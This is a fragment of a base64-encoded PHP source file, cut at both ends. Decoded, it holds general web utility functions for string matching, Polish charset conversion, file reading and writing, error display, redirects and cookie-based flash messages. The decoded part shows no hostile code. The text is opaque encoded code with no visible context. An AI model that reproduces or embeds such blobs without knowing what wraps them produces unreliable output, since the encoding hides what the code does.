yLCAkbmVlZGxlKSAhPT0gZmFsc2U7DQp9DQpmdW5jdGlvbiBzdHJfaGFzX2FueSgkc3RyLCAkYXJyX25lZWRsZSwgJGlnbm9yZV9jYXNlID0gZmFsc2UpDQp7DQoJaWYgKGlzX3N0cmluZygkYXJyX25lZWRsZSkpIHsNCgkJJGFycl9uZWVkbGUgPSBwcmVnX3JlcGxhY2UoJyNccysjJywgJyAnLCAkYXJyX25lZWRsZSk7DQoJCSRhcnJfbmVlZGxlID0gZXhwbG9kZSgnICcsICRhcnJfbmVlZGxlKTsNCgl9DQoJZm9yZWFjaCAoJGFycl9uZWVkbGUgYXMgJG5lZWRsZSkgew0KCQlpZiAoc3RyX2hhcygkc3RyLCAkbmVlZGxlLCAkaWdub3JlX2Nhc2UpKSB7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCX0NCglyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBzdHJfYmVmb3JlKCRzdHIsICRuZWVkbGUpDQp7DQoJJHBvcyA9IHN0cnBvcygkc3RyLCAkbmVlZGxlKTsNCglpZiAoJHBvcyAhPT0gZmFsc2UpIHsNCgkJJGJlZm9yZSA9IHN1YnN0cigkc3RyLCAwLCAkcG9zKTsNCgkJcmV0dXJuIHN0cmxlbigkYmVmb3JlKSA/ICRiZWZvcmUgOiBmYWxzZTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KfQ0KZnVuY3Rpb24gcGFkX3plcm9zKCRudW1iZXIsICR6ZXJvcykNCnsNCglpZiAoc3RyX2hhcygkbnVtYmVyLCAnLicpKSB7DQoJCXByZWdfbWF0Y2goJyNcLihcZCspJCMnLCAkbnVtYmVyLCAkbWF0Y2gpOw0KCQkkbnVtYmVyIC49IHN0cl9yZXBlYXQoJzAnLCAkemVyb3Mtc3RybGVuKCRtYXRjaFsxXSkpOw0KCQlyZXR1cm4gJG51bWJlcjsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gJG51bWJlci4nLicuc3RyX3JlcGVhdCgnMCcsICR6ZXJvcyk7DQoJfQ0KfQ0KZnVuY3Rpb24gY2hhcnNldF9maXhfaW52YWxpZCgkcykNCnsNCgkkZml4ID0gJ+KCrMOi4oCc4oCewqLigI3igIzaqeKEouKAndijASc7DQoJJHMgPSBzdHJfcmVwbGFjZShzdHJfYXJyYXkoJGZpeCksICcnLCAkcyk7DQoJcmV0dXJuICRzOw0KfQ0KZnVuY3Rpb24gY2hhcnNldF9pc19pbnZhbGlkKCRzKQ0Kew0KCSRmaXggPSAn4oKsw6LigJzigJ7CouKAjeKAjNqp4oSi4oCd2KMBJzsNCgkkZml4ID0gc3RyX2FycmF5KCRmaXgpOw0KCWZvcmVhY2ggKCRmaXggYXMgJGNoYXIpIHsNCgkJaWYgKHN0cl9oYXMoJHMsICRjaGFyKSkgew0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gY2hhcnNldF9maXgoJHN0cmluZykNCnsNCgkvLyBVVEYtOCAmJiBXSU4tMTI1MCA9PiBJU08tODg1OS0yDQoJLy8gdG9kbzogaXMgY2hlY2tpbmcgcmVxdWlyZWQ/IHJlZHVuZGFudCBjb21wdXRpbmc/DQoJaWYgKGNoYXJzZXRfd2luX2lzKCRzdHJpbmcpKSB7DQoJCSRzdHJpbmcgPSBjaGFyc2V0X3dpbl9maXgoJHN0cmluZyk7DQoJfQ0KCWlmIChjaGFyc2V0X3V0Zl9pcygkc3RyaW5nKSkgew0KCQkkc3RyaW5nID0gY2hhcnNldF91dGZfZml4KCRzdHJpbmcpOw0KCX0NCglyZXR1cm4gJHN0cmluZzsNCn0NCmZ1bmN0aW9uIGNoYXJzZXRfd2luX2lzKCRzdHJpbmcpDQp7DQoJJHdpbiA9ICfCucKl2YjYpsOq2KrCs8Kj2YzYsdmO2LPFk8WS2rraiNifwq8nOw0KCSRpc28gPSAnwrHYjNmI2KbDqtiqwrPCo9mM2LHZjtizwrbCpsK8wqzYn8KvJzsNCglmb3IgKCRpPTA7ICRpPHN0cmxlbigkd2luKTsgJGkrKykgew0KCQlpZiAoJHdpbnskaX0gIT0gJGlzb3skaX0pIHsNCgkJCWlmIChzdHJzdHIoJHN0cmluZywgJHdpbnskaX0pICE9PSBmYWxzZSkgew0KCQkJCXJldHVybiB0cnVlOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGNoYXJzZXRfd2luX2ZpeCgkc3RyaW5nKQ0Kew0KCSR3aW4gPSAnwrnCpdmI2KbDqtiqwrPCo9mM2LHZjtizxZPFktq62ojYn8KvJzsNCgkkaXNvID0gJ8Kx2IzZiNimw6rYqsKzwqPZjNix2Y7Ys8K2wqbCvMKs2J/Cryc7DQoJJHNyaCA9IGFycmF5KCk7DQoJJHJwbCA9IGFycmF5KCk7DQoJZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR3aW4pOyAkaSsrKSB7DQoJCWlmICgkd2lueyRpfSAhPSAkaXNveyRpfSkgew0KCQkJJHNyaFtdID0gJHdpbnskaX07DQoJCQkkcnBsW10gPSAkaXNveyRpfTsNCgkJfQ0KCX0NCgkkc3RyaW5nID0gc3RyX3JlcGxhY2UoJHNyaCwgJHJwbCwgJHN0cmluZyk7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpmdW5jdGlvbiBjaGFyc2V0X3V0Zl9pcygkc3RyaW5nKQ0Kew0KCSR1dGZfaXNvID0gYXJyYXkoDQoJICAgIlx4YzRceDg1IiA9PiAiXHhiMSIsDQoJICAgIlx4YzRceDg0IiA9PiAiXHhhMSIsDQoJICAgIlx4YzRceDg3IiA9PiAiXHhlNiIsDQoJICAgIlx4YzRceDg2IiA9PiAiXHhjNiIsDQoJICAgIlx4YzRceDk5IiA9PiAiXHhlYSIsDQoJICAgIlx4YzRceDk4IiA9PiAiXHhjYSIsDQoJICAgIlx4YzVceDgyIiA9PiAiXHhiMyIsDQoJICAgIlx4YzVceDgxIiA9PiAiXHhhMyIsDQoJICAgIlx4YzNceGIzIiA9PiAiXHhmMyIsDQoJICAgIlx4YzNceDkzIiA9PiAiXHhkMyIsDQoJICAgIlx4YzVceDliIiA9PiAiXHhiNiIsDQoJICAgIlx4YzVceDlhIiA9PiAiXHhhNiIsDQoJICAgIlx4YzVceGJhIiA9PiAiXHhiYyIsDQoJICAgIlx4YzVceGI5IiA9PiAiXHhhYyIsDQoJICAgIlx4YzVceGJjIiA9PiAiXHhiZiIsDQoJICAgIlx4YzVceGJiIiA9PiAiXHhhZiIsDQoJICAgIlx4YzVceDg0IiA9PiAiXHhmMSIsDQoJICAgIlx4YzVceDgzIiA9PiAiXHhkMSIsDQoJCS8vIHhtbGh0dHByZXF1ZXN0IHV0Zi04IGVuY29kaW5nDQoJICAgIiV1MDEwNCIgPT4gIlx4QTEiLA0KCSAgICIldTAxMDYiID0+ICJceEM2IiwNCgkgICAiJXUwMTE4IiA9PiAiXHhDQSIsDQoJICAgIiV1MDE0MSIgPT4gIlx4QTMiLA0KCSAgICIldTAxNDMiID0+ICJceEQxIiwNCgkgICAiJXUwMEQzIiA9PiAiXHhEMyIsDQoJICAgIiV1MDE1QSIgPT4gIlx4QTYiLA0KCSAgICIldTAxNzkiID0+ICJceEFDIiwNCgkgICAiJXUwMTdCIiA9PiAiXHhBRiIsDQoJICAgIiV1MDEwNSIgPT4gIlx4QjEiLA0KCSAgICIldTAxMDciID0+ICJceEU2IiwNCgkgICAiJXUwMTE5IiA9PiAiXHhFQSIsDQoJICAgIiV1MDE0MiIgPT4gIlx4QjMiLA0KCSAgICIldTAxNDQiID0+ICJceEYxIiwNCgkgICAiJXUwMEQ0IiA9PiAiXHhGMyIsDQoJICAgIiV1MDE1QiIgPT4gIlx4QjYiLA0KCSAgICIldTAxN0EiID0+ICJceEJDIiwNCgkgICAiJXUwMTdDIiA9PiAiXHhCRiINCgkpOw0KCWZvcmVhY2ggKCR1dGZfaXNvIGFzICRrID0+ICR2KSB7DQoJCWlmIChzdHJwb3MoJHN0cmluZywgJGspICE9PSBmYWxzZSkgew0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gY2hhcnNldF91dGZfZml4KCRzdHJpbmcpDQp7DQoJJHV0Zl9pc28gPSBhcnJheSgNCgkgICAiXHhjNFx4ODUiID0+ICJceGIxIiwNCgkgICAiXHhjNFx4ODQiID0+ICJceGExIiwNCgkgICAiXHhjNFx4ODciID0+ICJceGU2IiwNCgkgICAiXHhjNFx4ODYiID0+ICJceGM2IiwNCgkgICAiXHhjNFx4OTkiID0+ICJceGVhIiwNCgkgICAiXHhjNFx4OTgiID0+ICJceGNhIiwNCgkgICAiXHhjNVx4ODIiID0+ICJceGIzIiwNCgkgICAiXHhjNVx4ODEiID0+ICJceGEzIiwNCgkgICAiXHhjM1x4YjMiID0+ICJceGYzIiwNCgkgICAiXHhjM1x4OTMiID0+ICJceGQzIiwNCgkgICAiXHhjNVx4OWIiID0+ICJceGI2IiwNCgkgICAiXHhjNVx4OWEiID0+ICJceGE2IiwNCgkgICAiXHhjNVx4YmEiID0+ICJceGJjIiwNCgkgICAiXHhjNVx4YjkiID0+ICJceGFjIiwNCgkgICAiXHhjNVx4YmMiID0+ICJceGJmIiwNCgkgICAiXHhjNVx4YmIiID0+ICJceGFmIiwNCgkgICAiXHhjNVx4ODQiID0+ICJceGYxIiwNCgkgICAiXHhjNVx4ODMiID0+ICJceGQxIiwNCgkJLy8geG1saHR0cHJlcXVlc3QgdXNlcyBkaWZmZXJlbnQgZW5jb2RpbmcNCgkgICAiJXUwMTA0IiA9PiAiXHhBMSIsDQoJICAgIiV1MDEwNiIgPT4gIlx4QzYiLA0KCSAgICIldTAxMTgiID0+ICJceENBIiwNCgkgICAiJXUwMTQxIiA9PiAiXHhBMyIsDQoJICAgIiV1MDE0MyIgPT4gIlx4RDEiLA0KCSAgICIldTAwRDMiID0+ICJceEQzIiwNCgkgICAiJXUwMTVBIiA9PiAiXHhBNiIsDQoJICAgIiV1MDE3OSIgPT4gIlx4QUMiLA0KCSAgICIldTAxN0IiID0+ICJceEFGIiwNCgkgICAiJXUwMTA1IiA9PiAiXHhCMSIsDQoJICAgIiV1MDEwNyIgPT4gIlx4RTYiLA0KCSAgICIldTAxMTkiID0+ICJceEVBIiwNCgkgICAiJXUwMTQyIiA9PiAiXHhCMyIsDQoJICAgIiV1MDE0NCIgPT4gIlx4RjEiLA0KCSAgICIldTAwRDQiID0+ICJceEYzIiwNCgkgICAiJXUwMTVCIiA9PiAiXHhCNiIsDQoJICAgIiV1MDE3QSIgPT4gIlx4QkMiLA0KCSAgICIldTAxN0MiID0+ICJceEJGIg0KCSk7DQoJcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHV0Zl9pc28pLCBhcnJheV92YWx1ZXMoJHV0Zl9pc28pLCAkc3RyaW5nKTsNCn0NCmZ1bmN0aW9uIHN0cl9zdGFydHNfd2l0aCgkc3RyLCAkc3RhcnQsICRpZ25vcmVfY2FzZSA9IGZhbHNlKQ0Kew0KCWlmICgkaWdub3JlX2Nhc2UpIHsNCgkJJHN0ciA9IHN0cl91cHBlcigkc3RyKTsNCgkJJHN0YXJ0ID0gc3RyX3VwcGVyKCRzdGFydCk7DQoJfQ0KCWlmICghc3RybGVuKCRzdHIpICYmICFzdHJsZW4oJHN0YXJ0KSkgew0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJaWYgKCFzdHJsZW4oJHN0YXJ0KSkgew0KCQl0cmlnZ2VyX2Vycm9yKCdzdHJfc3RhcnRzX3dpdGgoKSBmYWlsZWQsIHN0YXJ0IGFyZyBjYW5ub3QgYmUgZW1wdHknLCBFX1VTRVJfRVJST1IpOw0KCX0NCglpZiAoc3RybGVuKCRzdGFydCkgPiBzdHJsZW4oJHN0cikpIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCglmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJHN0YXJ0KTsgJGkrKykgew0KCQlpZiAoJHN0YXJ0eyRpfSAhPSAkc3RyeyRpfSkgew0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfQ0KCXJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gc3RyX2VuZHNfd2l0aCgkc3RyLCAkZW5kLCAkaWdub3JlX2Nhc2UgPSBmYWxzZSkNCnsNCglpZiAoJGlnbm9yZV9jYXNlKSB7DQoJCSRzdHIgPSBzdHJfdXBwZXIoJHN0cik7DQoJCSRlbmQgPSBzdHJfdXBwZXIoJGVuZCk7DQoJfQ0KCWlmICghc3RybGVuKCRzdHIpICYmICFzdHJsZW4oJGVuZCkpIHsNCgkJcmV0dXJuIHRydWU7DQoJfQ0KCWlmICghc3RybGVuKCRlbmQpKSB7DQoJCXRyaWdnZXJfZXJyb3IoJ3N0cl9lbmRzX3dpdGgoKSBmYWlsZWQsIGVuZCBhcmcgY2Fubm90IGJlIGVtcHR5JywgRV9VU0VSX0VSUk9SKTsNCgl9DQoJaWYgKHN0cmxlbigkZW5kKSA+IHN0cmxlbigkc3RyKSkgew0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCXJldHVybiBzdHJfc3RhcnRzX3dpdGgoc3RycmV2KCRzdHIpLCBzdHJyZXYoJGVuZCkpOw0KCXJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gc3RyX2N1dF9zdGFydCgkc3RyLCAkc3RhcnQpDQp7DQoJaWYgKHN0cl9zdGFydHNfd2l0aCgkc3RyLCAkc3RhcnQpKSB7DQoJCSRzdHIgPSBzdWJzdHIoJHN0ciwgc3RybGVuKCRzdGFydCkpOw0KCX0NCglyZXR1cm4gJHN0cjsNCn0NCmZ1bmN0aW9uIHN0cl9jdXRfZW5kKCRzdHIsICRlbmQpDQp7DQoJaWYgKHN0cl9lbmRzX3dpdGgoJHN0ciwgJGVuZCkpIHsNCgkJJHN0ciA9IHN1YnN0cigkc3RyLCAwLCAtc3RybGVuKCRlbmQpKTsNCgl9DQoJcmV0dXJuICRzdHI7DQp9DQpmdW5jdGlvbiBmaWxlX2dldCgkZmlsZSkNCnsNCglyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KfQ0KZnVuY3Rpb24gZmlsZV9wdXQoJGZpbGUsICRzKQ0Kew0KCSRmcCA9IGZvcGVuKCRmaWxlLCAnd2InKSBvciB0cmlnZ2VyX2Vycm9yKCdmb3BlbigpIGZhaWxlZDogJy4kZmlsZSwgRV9VU0VSX0VSUk9SKTsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsICRzKTsNCgkJZmNsb3NlKCRmcCk7DQoJfQ0KfQ0KZnVuY3Rpb24gZmlsZV9kYXRlKCRmaWxlKQ0Kew0KCXJldHVybiBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVtdGltZSgkZmlsZSkpOw0KfQ0KZnVuY3Rpb24gZGlyX2V4aXN0cygkZGlyKQ0Kew0KCXJldHVybiBmaWxlX2V4aXN0cygkZGlyKSAmJiAhaXNfZmlsZSgkZGlyKTsNCn0NCmZ1bmN0aW9uIGRpcl9kZWxldGVfb2xkX2ZpbGVzKCRkaXIsICRleHQgPSBhcnJheSgpLCAkc2VjKQ0Kew0KCS8vIE5PVCBVU0VEIHJpZ2h0IG5vdy4NCgkvLyBvbGRlciB0aGFuIHggc2Vjb25kcw0KCSRmaWxlcyA9IGRpcl9yZWFkKCRkaXIsIG51bGwsICRleHQpOw0KCSR0aW1lID0gdGltZSgpIC0gJHNlYzsNCglmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJaWYgKGZpbGVfdGltZSgkZmlsZSkgPCAkdGltZSkgew0KCQkJdW5saW5rKCRmaWxlKTsNCgkJfQ0KCX0NCn0NCmdsb2JhbCAkX2Vycm9yLCAkX2Vycm9yX3N0eWxlOw0KJF9lcnJvciA9IGFycmF5KCk7DQokX2Vycm9yX3N0eWxlID0gJyc7DQoNCmZ1bmN0aW9uIGVycm9yKCRtc2cgPSBudWxsKQ0Kew0KCWlmIChpc3NldCgkbXNnKSAmJiBmdW5jX251bV9hcmdzKCkgPiAxKSB7DQoJCSRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KCQkkbXNnID0gY2FsbF91c2VyX2Z1bmNfYXJyYXkoJ3NwcmludGYnLCAkYXJncyk7DQoJfQ0KCWdsb2JhbCAkX2Vycm9yLCAkX2Vycm9yX3N0eWxlOw0KCWlmIChpc3NldCgkbXNnKSkgew0KCQkkX2Vycm9yW10gPSAkbXNnOw0KCX0NCglpZiAoIWNvdW50KCRfZXJyb3IpKSB7DQoJCXJldHVybiBudWxsOw0KCX0NCglpZiAoY291bnQoJF9lcnJvcikgPT0gMSkgew0KCQlyZXR1cm4gc3ByaW50ZignPGRpdiBjbGFzcz0iZXJyb3IiIHN0eWxlPSIlcyI+JXM8L2Rpdj4nLCAkX2Vycm9yX3N0eWxlLCAkX2Vycm9yWzBdKTsNCgl9DQoJJHJldCA9ICc8ZGl2IGNsYXNzPSJlcnJvciIgc3R5bGU9IicuJF9lcnJvcl9zdHlsZS4nIj5Gb2xsb3dpbmcgZXJyb3JzIGFwcGVhcmVkOjx1bD4nOw0KCWZvcmVhY2ggKCRfZXJyb3IgYXMgJG1zZykgew0KCQkkcmV0IC49IHNwcmludGYoJzxsaT4lczwvbGk+JywgJG1zZyk7DQoJfQ0KCSRyZXQgLj0gJzwvdWw+PC9kaXY+JzsNCglyZXR1cm4gJHJldDsNCn0NCmZ1bmN0aW9uIHRpbWVzdGFtcCgkdGltZSwgJHNwYW4gPSB0cnVlKQ0Kew0KCSR0aW1lX2Jhc2UgPSAkdGltZTsNCgkkdGltZSA9IHN1YnN0cigkdGltZSwgMCwgMTYpOw0KCSR0aW1lMiA9IHN1YnN0cigkdGltZSwgMCwgMTApOw0KCSR0b2RheSA9IGRhdGUoJ1ktbS1kJyk7DQoJJHllc3RlcmRheSA9IGRhdGUoJ1ktbS1kJywgdGltZSgpLTM2MDAqMjQpOw0KCWlmICgkdGltZTIgPT0gJHRvZGF5KSB7DQoJCWlmIChzdWJzdHIoJHRpbWVfYmFzZSwgLTgpID09ICcwMDowMDowMCcpIHsNCgkJCSR0aW1lID0gJ1RvZGF5JzsNCgkJfSBlbHNlIHsNCgkJCSR0aW1lID0gJ1RvZGF5Jy5zdWJzdHIoJHRpbWUsIC02KTsNCgkJfQ0KCX0gZWxzZSBpZiAoJHRpbWUyID09ICR5ZXN0ZXJkYXkpIHsNCgkJJHRpbWUgPSAnWWVzdGVyZGF5Jy5zdWJzdHIoJHRpbWUsIC02KTsNCgl9DQoJcmV0dXJuICc8c3BhbiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcDsiPicuJHRpbWUuJzwvc3Bhbj4nOw0KfQ0KZnVuY3Rpb24gc3RyX2xvd2VyKCRzdHIpDQp7DQoJLyogc3RydG9sb3dlciBpc28tODg1OS0yIGNvbXBhdGlibGUgKi8NCgkkbG93ZXIgPSBzdHJfYXJyYXkoaXNvX2NoYXJzX2xvd2VyKCkpOw0KCSR1cHBlciA9IHN0cl9hcnJheShpc29fY2hhcnNfdXBwZXIoKSk7DQoJJHN0ciA9IHN0cl9yZXBsYWNlKCR1cHBlciwgJGxvd2VyLCAkc3RyKTsNCgkkc3RyID0gc3RydG9sb3dlcigkc3RyKTsNCglyZXR1cm4gJHN0cjsNCn0NCmZ1bmN0aW9uIHN0cl91cHBlcigkc3RyKQ0Kew0KCS8qIHN0cnRvdXBwZXIgaXNvLTg4NTktMiBjb21wYXRpYmxlICovDQoJJGxvd2VyID0gc3RyX2FycmF5KGlzb19jaGFyc19sb3dlcigpKTsNCgkkdXBwZXIgPSBzdHJfYXJyYXkoaXNvX2NoYXJzX3VwcGVyKCkpOw0KCSRzdHIgPSBzdHJfcmVwbGFjZSgkbG93ZXIsICR1cHBlciwgJHN0cik7DQoJJHN0ciA9IHN0cnRvdXBwZXIoJHN0cik7DQoJcmV0dXJuICRzdHI7DQp9DQpmdW5jdGlvbiBzdHJfYXJyYXkoJHN0cikNCnsNCgkkYXJyID0gYXJyYXkoKTsNCglmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJHN0cik7ICRpKyspIHsNCgkJJGFyclskaV0gPSAkc3RyeyRpfTsNCgl9DQoJcmV0dXJuICRhcnI7DQp9DQpmdW5jdGlvbiBpc29fY2hhcnMoKQ0Kew0KCXJldHVybiBpc29fY2hhcnNfbG93ZXIoKS5pc29fY2hhcnNfdXBwZXIoKTsNCn0NCmZ1bmN0aW9uIGlzb19jaGFyc19sb3dlcigpDQp7DQoJcmV0dXJuICfCsdmIw6rCs9mM2Y7CtsK82J8nOw0KfQ0KZnVuY3Rpb24gaXNvX2NoYXJzX3VwcGVyKCkNCnsNCglyZXR1cm4gJ9iM2KbYqsKj2LHYs8KmwqzCryc7DQp9DQpmdW5jdGlvbiBhcnJheV9maXJzdF9rZXkoJGFycikNCnsNCgkkYXJyMiA9ICRhcnI7DQoJcmVzZXQoJGFycik7DQoJbGlzdCgka2V5LCAkdmFsKSA9IGVhY2goJGFycik7DQoJcmV0dXJuICRrZXk7DQp9DQpmdW5jdGlvbiBhcnJheV9maXJzdCgkYXJyKQ0Kew0KCXJldHVybiBhcnJheV9maXJzdF92YWx1ZSgkYXJyKTsNCn0NCmZ1bmN0aW9uIGFycmF5X2ZpcnN0X3ZhbHVlKCRhcnIpDQp7DQoJJGFycjIgPSAkYXJyOw0KCXJldHVybiBhcnJheV9zaGlmdCgkYXJyMik7DQp9DQpmdW5jdGlvbiBhcnJheV9jb2xfdmFsdWVzKCRhcnIsICRjb2wpDQp7DQoJJHJldCA9IGFycmF5KCk7DQoJZm9yZWFjaCAoJGFyciBhcyAkayA9PiAkcm93KSB7DQoJCSRyZXRbXSA9ICRyb3dbJGNvbF07DQoJfQ0KCXJldHVybiAkcmV0Ow0KfQ0KZnVuY3Rpb24gYXJyYXlfY29sX3ZhbHVlc191bmlxdWUoJGFyciwgJGNvbCkNCnsNCglyZXR1cm4gYXJyYXlfdW5pcXVlKGFycmF5X2NvbF92YWx1ZXMoJGFyciwgJGNvbCkpOw0KfQ0KZnVuY3Rpb24gYXJyYXlfY29sX21hdGNoKCRyb3dzLCAkY29sLCAkcGF0dGVybikNCnsNCglpZiAoIWNvdW50KCRyb3dzKSkgew0KCQl0cmlnZ2VyX2Vycm9yKCdhcnJheV9jb2xfbWF0Y2goKTogYXJyYXkgaXMgZW1wdHknLCBFX1VTRVJfRVJST1IpOw0KCX0NCgkkcmV0ID0gdHJ1ZTsNCglmb3JlYWNoICgkcm93cyBhcyAkcm93KSB7DQoJCWlmICghcHJlZ19tYXRjaCgkcGF0dGVybiwgJHJvd1skY29sXSkpIHsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGFycmF5X2NvbF9tYXRjaF91bmlxdWUoJHJvd3MsICRjb2wsICRwYXR0ZXJuKQ0Kew0KCWlmICghYXJyYXlfY29sX21hdGNoKCRyb3dzLCAkY29sLCAkcGF0dGVybikpIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCglyZXR1cm4gY291bnQoJHJvd3MpID09IGNvdW50KGFycmF5X2NvbF92YWx1ZXNfdW5pcXVlKCRyb3dzLCAkY29sKSk7DQp9DQpmdW5jdGlvbiByZWRpcmVjdCgkdXJsKQ0Kew0KCSR1cmwgPSB1cmwoJHVybCk7DQoJaGVhZGVyKCJMb2NhdGlvbjogJHVybCIpOw0KCWV4aXQ7DQp9DQpmdW5jdGlvbiByZWRpcmVjdF9ub3RpZnkoJHVybCwgJG1zZykNCnsNCglpZiAoc3RycG9zKCRtc2csICc8JykgPT09IGZhbHNlKSB7DQoJCSRtc2cgPSBzcHJpbnRmKCc8Yj4lczwvYj4nLCAkbXNnKTsNCgl9DQoJY29va2llX3NldCgnZmxhc2hfbm90aWZ5JywgJG1zZyk7DQoJcmVkaXJlY3QoJHVybCk7DQp9DQpmdW5jdGlvbiByZWRpcmVjdF9vaygkdXJsLCAkbXNnKQ0Kew0KCWlmIChzdHJwb3MoJG1zZywgJzwnKSA9PT0gZmFsc2UpIHsNCgkJJG1zZyA9IHNwcmludGYoJzxiPiVzPC9iPicsICRtc2cpOw0KCX0NCgljb29raWVfc2V0KCdmbGFzaF9vaycsICRtc2cpOw0KCXJlZGlyZWN0KCR1cmwpOw0KfQ0KZnVuY3Rpb24gcmVkaXJlY3RfZXJyb3IoJHVybCwgJG1zZykNCnsNCglpZiAoc3RycG9zKCRtc2csICc8JykgPT09IGZhbHNlKSB7DQoJCSRtc2cgPSBzcHJpbnRmKCc8Yj4lczwvYj4nLCAkbXNnKTsNCgl9DQoJY29va2llX3NldCgnZmxhc2hfZXJyb3InLCAkbXNnKTsNCglyZWRpcmVjdCgkdXJsKTsNCn0NCmZ1bmN0aW9uIGZsYXNoKCkNCnsNCglzdGF0aWMgJGlzX3N0eWxlID0gZmFsc2U7DQoNCgkkZmxhc2hfZXJyb3IgPSBjb29raWVfZ2V0KCdmbGFzaF9lcnJvcicpOw0KCSRmbGFzaF9vayA9IGNvb2tpZV9nZXQoJ2ZsYXNoX29rJyk7DQoJJGZsYXNoX25vdGlmeSA9IGNvb2tpZV9nZXQoJ2ZsYXNoX25vdGlmeScpOw0KDQoJJGZsYXNoX2Vycm9yID0gZmlsdGVyX2FsbG93X3RhZ3MoJGZsYXNoX2Vycm9yLCAnPGI+PGk+PHU+PGJyPjxzcGFuPicpOw0KCSRmbGFzaF9vayA9IGZpbHRlcl9hbGxvd190YWdzKCRmbGFzaF9vaywgJzxiPjxpPjx1Pjxicj48c3Bhbj4nKTsNCgkkZmxhc2hfbm90aWZ5ID0gZmlsdGVyX2FsbG93X3RhZ3MoJGZsYXNoX25vdGlmeSwgJzxiPjxpPjx1Pjxicj48c3Bhbj4nKTsNCg0KCWlmICghKCRmbGFzaF9lcnJvciB8fCAkZmxhc2hfb2sgfHwgJGZsYXNoX25vdGlmeSkpIHsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCg0KCW9iX3N0YXJ0KCk7DQoJPz4NCg0KCTw/cGhwIGlmICghJGlzX3N0eWxlKTogPz4NCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCgkJI2ZsYXNoIHsgYmFja2dyb3VuZDogI2ZmZmZkNzsgcGFkZGluZzogMC4zZW07IHBhZGRpbmctYm90dG9tOiAwLjE1ZW07IGJvcmRlcjogI2RkZCAxcHggc29saWQ7IG1hcmdpbi1ib3R0b206IDFlbTsgfQ0KCQkjZmxhc2ggZGl2IHsgcGFkZGluZzogMGVtIDBlbTsgfQ0KCQkjZmxhc2ggdGFibGUgeyBmb250LXdlaWdodDogbm9ybWFsOyB9DQoJCSNmbGFzaCB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IH0NCgkJPC9zdHlsZT4NCgk8P3BocCBlbmRpZjsgPz4NCg0KCTxkaXYgaWQ9ImZsYXNoIiBvbmRibGNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmxhc2gnKS5zdHlsZS5kaXNwbGF5PSdub25lJzsiPg0KCQk8dGFibGUgd2lkdGg9IjEwMCUiIG9uZGJsY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmbGFzaCcpLnN0eWxlLmRpc3BsYXk9J25vbmUnOyI+PHRyPg0KCQk8dGQgc3R5bGU9ImxpbmUtaGVpZ2h0OiAxNHB4OyI+PD9waHAgZWNobyAgJGZsYXNoX2Vycm9yID8gJGZsYXNoX2Vycm9yIDogKCRmbGFzaF9vayA/ICRmbGFzaF9vayA6ICRmbGFzaF9ub3RpZnkpOyA/PjwvdGQ+PC90cj48L3RhYmxlPg0KCTwvZGl2Pg0KDQoJPD9waHANCgkkY29udCA9IG9iX2dldF9jb250ZW50cygpOw0KCW9iX2VuZF9jbGVhbigpOw0KDQoJaWYgKCRmbGFzaF9lcnJvcikgY29va2llX2RlbCgnZmxhc2hfZXJyb3InKTsNCgllbHNlIGlmICgkZmxhc2hfb2spIGNvb2tpZV9kZWwoJ2ZsYXNoX29rJyk7DQoJZWxzZSBpZiAoJGZsYXNoX25vdGlmeSkgY29va2llX2RlbCgnZmxhc2hfbm90aWZ5Jyk7DQoNCgkkaXNfc3R5bGUgPSB0cnVlOw0KDQoJcmV0dXJuICRjb250Ow0KfQ0KZnVuY3Rpb24gZmlsdGVyKCRwb3N0LCAkZmlsdGVycykNCnsNCglpZiAoaXNfc3RyaW5nKCRmaWx0ZXJzKSkNCgl7DQoJCSRmaWx0ZXIgPSAkZmlsdGVyczsNCgkJJGZ1bmMgPSAnZmlsdGVyXycuJGZpbHRlcjsNCgkJZm9yZWFjaCAoJHBvc3QgYXMgJGtleSA9PiAkdmFsKSB7DQoJCQkkcG9zdFska2V5XSA9IGNhbGxfdXNlcl9mdW5jKCRmdW5jLCAkcG9zdFska2V5XSk7DQoJCX0NCgkJcmV0dXJuICRwb3N0Ow0KCX0NCglmb3JlYWNoICgkZmlsdGVycyBhcyAka2V5ID0+ICRmaWx0ZXIpDQoJew0KCQlpZiAoIWFycmF5X2tleV9leGlzdHMoJGtleSwgJHBvc3QpKSB7DQoJCQlyZXR1cm4gdHJpZ2dlcl9lcnJvcihzcHJpbnRmKCdmaWx0ZXIoKSBmYWlsZWQuIEtleSBtaXNzaW5nID0gJXMuJywgJGtleSksIEVf